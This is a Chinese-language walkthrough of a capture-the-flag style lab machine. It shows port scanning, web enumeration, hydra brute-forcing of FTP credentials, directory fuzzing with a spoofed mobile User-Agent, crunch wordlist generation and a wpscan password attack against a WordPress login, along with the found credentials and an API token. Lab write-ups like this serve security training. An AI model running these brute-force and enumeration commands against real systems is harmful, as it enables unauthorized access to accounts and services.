Starting masscan 1.0.5 (http://bit.ly/14GZzcT) at 2020-02-18 10:52:45 GMT -- forced options: -sS -Pn -n --randomize-hosts -v --send-eth Initiating SYN Stealth Scan Scanning 1 hosts [65535 ports/host] Discovered open port 22/tcp on 192.168.80.13 Discovered open port 80/tcp on 192.168.80.13 Discovered open port 8008/tcp on 192.168.80.13
接下来使用nmap深度扫描，发现端口对应的服务是22端口：ssh、80和8008端口：http。
1 2 3 4 5 6 7 8 9 10 11 12
root@kali:~# nmap 192.168.80.13 -p22,80,8008 Starting Nmap 7.70 ( https://nmap.org ) at 2020-02-18 19:00 CST Nmap scan report for 192.168.80.13 Host is up (0.00045s latency).
PORT STATE SERVICE 22/tcp open ssh 80/tcp open http 8008/tcp open http MAC Address: 00:0C:29:36:78:84 (VMware)
Nmap done: 1 IP address (1 host up) scanned in 0.18 seconds
+ Entry '/lukeiamyourfather/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + OSVDB-3268: /lookalivelowbridge/: Directory indexing found. + Entry '/lookalivelowbridge/' in robots.txt returned a non-forbidden or redirect HTTP code (200) + Entry '/flag-numero-uno.txt' in robots.txt returned a non-forbidden or redirect HTTP code (200) + "robots.txt" contains 4 entries which should be manually viewed. + Apache/2.4.18 appears to be outdated (current is at least Apache/2.4.37). Apache 2.2.34 is the EOL for the 2.x branch. + OSVDB-630: The web server may reveal its internal or real IP in the Location header via a request to /aspnet_client over HTTP/1.0. The value is "127.0.1.1". + Server may leak inodes via ETags, header found with file /, inode: 498, size: 5371fb88ff1d8, mtime: gzip + Allowed HTTP Methods: POST, OPTIONS, GET, HEAD
root@kali:~# hydra -e nsr -l nickburns ftp://192.168.80.13:65534/ Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-02-18 20:13:54 [DATA] max 3 tasks per 1 server, overall 3 tasks, 3 login tries (l:1/p:3), ~1 try per task [DATA] attacking ftp://192.168.80.13:65534/ [65534][ftp] host: 192.168.80.13 login: nickburns password: nickburns 1 of 1 target successfully completed, 1 valid password found Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-02-18 20:13:57
输入用户名和密码登录ftp服务：
1 2 3 4 5 6 7 8 9 10
root@kali:~# ftp 192.168.80.13 65534 Connected to 192.168.80.13. 220 Callahan_FTP_Server 1.3.5 Name (192.168.80.13:root): nickburns 331 Password required for nickburns Password: 230 User nickburns logged in Remote system type is UNIX. Using binary mode to transfer files. ftp>
查看这个ftp服务有哪些文件，可以看到有个readme.txt，我们把它get到本地。
1 2 3 4 5 6 7 8 9 10 11 12 13
ftp> dir 200 PORT command successful 150 Opening ASCII mode data connection for file list -rw-rw-r-- 1 nickburns nickburns 977 Jul 15 2016 readme.txt 226 Transfer complete ftp> get readme.txt local: readme.txt remote: readme.txt 200 PORT command successful 150 Opening BINARY mode data connection for readme.txt (977 bytes) 226 Transfer complete 977 bytes received in 0.10 secs (9.7746 kB/s) ftp>bye 221 Goodbye.
If you're reading this, you have the unfortunate job of taking over IT responsibilities from me here at Callahan Auto. HAHAHAHAHAAH! SUCKER! This is the worst job ever! You'll be surrounded by stupid monkeys all day who can barely hit Ctrl+P and wouldn't know a fax machine from a flame thrower!
Anyway I'm not completely without mercy. There's a subfolder called "NickIzL33t" on this server somewhere. I used it as my personal dropbox on the company's dime for years. Heh. LOL. I cleaned it out (no naughty pix for you!) but if you need a place to dump stuff that you want to look at on your phone later, consider that folder my gift to you.
Oh by the way, Big Tom's a moron and always forgets his passwords and so I made an encrypted .zip of his passwords and put them in the "NickIzL33t" folder as well. But guess what? He always forgets THAT password as well. Luckily I'm a nice guy and left him a hint sheet.
Good luck, schmuck!
LOL.
-Nick
于是我们访问这个url：http://192.168.80.13:8008/NickIzL33t，看到这样的结果。 当我们使用插件User-Agent Switcher and Manager修改UA为IOS时，页面显示结果变成这样： 这是在提示我们要获取这个网站的密码，要找到一个html文件。于是我们爆破目录，去寻找相关的html。 思路1：使用burpsuite爆破 payload：
1 2 3 4 5 6 7 8 9 10
GET /NickIzL33t/§page§.html HTTP/1.1 Host: 192.168.1.15:8008 User-Agent: Mozilla/5.0 (iPhone; CPU iPhone OS 5_1 like Mac OS X) AppleWebKit/534.46 (KHTML, like Gecko) Version/5.1 Mobile/9B176 Safari/7534.48.3 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: close If-Modified-Since: Fri, 15 Jul 2016 02:11:27 GMT If-None-Match: "10e-537a322dc0ba6-gzip" Cache-Control: max-age=0
dirb http://192.168.80.13:8008/NickIzL33t/ /usr/share/wordlists/rockyou.txt -a "Mozilla/5.0 (iPhone; CPU iPhone OS 6_0 like Mac OS X) AppleWebKit/536.26 (KHTML, like Gecko) Version/6.0 Mobile/10A5376e Safari/8536.25" -X .html
wfuzz -Z -c -v -w /usr/share/wordlists/rockyou.txt -H "User-Agent:Mozilla/5.0 (iPhone; U; CPU iPhone OS 3_0 like Mac OS X; en-us) AppleWebKit/528.18 (KHTML, like Gecko) Version/4.0 Mobile/7A341 Safari/528.16" --hc 404 http://192.168.80.13:8008/NickIzL33t/FUZZ.html
字典文件存在空格导致程序报错😭😭😭😭😭😭太难受了……
使用crunch生成密码字典：
1
crunch 13 13 -t bev,%%@@^1995 -o tommy.txt
接下来我们用wpscan --url http://192.168.80.13/prehistoricforest --enumerate u --api-token XLupJiXSlrJM4j1tUKggDoVYGzR7VqB9fsevFf9sfn0来暴力破解网站的用户名。 得出结果：
WordPress Security Scanner by the WPScan Team Version 3.7.6 @_WPScan_, @ethicalhack3r, @erwan_lr, @firefart _______________________________________________________________
[i] Updating the Database ... [i] Update completed.
[+] URL: http://192.168.80.13/prehistoricforest/ [+] Started: Thu Feb 20 03:29:20 2020
[+] http://192.168.80.13/prehistoricforest/readme.html | Found By: Direct Access (Aggressive Detection) | Confidence: 100%
[+] http://192.168.80.13/prehistoricforest/wp-cron.php | Found By: Direct Access (Aggressive Detection) | Confidence: 60% | References: | - https://www.iplocation.net/defend-wordpress-from-ddos | - https://github.com/wpscanteam/wpscan/issues/1299
[+] WordPress version 4.5.20 identified (Latest, released on 2019-12-12). | Found By: Rss Generator (Passive Detection) | - http://192.168.80.13/prehistoricforest/index.php/feed/, <generator>https://wordpress.org/?v=4.5.20</generator> | - http://192.168.80.13/prehistoricforest/index.php/comments/feed/, <generator>https://wordpress.org/?v=4.5.20</generator>
[+] WordPress theme in use: twentysixteen | Location: http://192.168.80.13/prehistoricforest/wp-content/themes/twentysixteen/ | Last Updated: 2019-05-07T00:00:00.000Z | Readme: http://192.168.80.13/prehistoricforest/wp-content/themes/twentysixteen/readme.txt | [!] The version is out of date, the latest version is 2.0 | Style URL: http://192.168.80.13/prehistoricforest/wp-content/themes/twentysixteen/style.css?ver=4.5.20 | Style Name: Twenty Sixteen | Style URI: https://wordpress.org/themes/twentysixteen/ | Description: Twenty Sixteen is a modernized take on an ever-popular WordPress layout — the horizontal masthead ... | Author: the WordPress team | Author URI: https://wordpress.org/ | | Found By: Css Style In Homepage (Passive Detection) | | Version: 1.2 (80% confidence) | Found By: Style (Passive Detection) | - http://192.168.80.13/prehistoricforest/wp-content/themes/twentysixteen/style.css?ver=4.5.20, Match: 'Version: 1.2'
[+] Performing password attack on Wp Login against 1 user/s Error: Server error, try reducing the number of threads. Trying tom / tomtom1 Time: 00:06:20 <=============================> (24700 / 24700) 100.00% Time: 00:06:20 [SUCCESS] - tom / tomtom1
[i] Valid Combinations Found: | Username: tom, Password: tomtom1
[+] WPVulnDB API OK | Plan: free | Requests Done (during the scan): 2 | Requests Remaining: 44
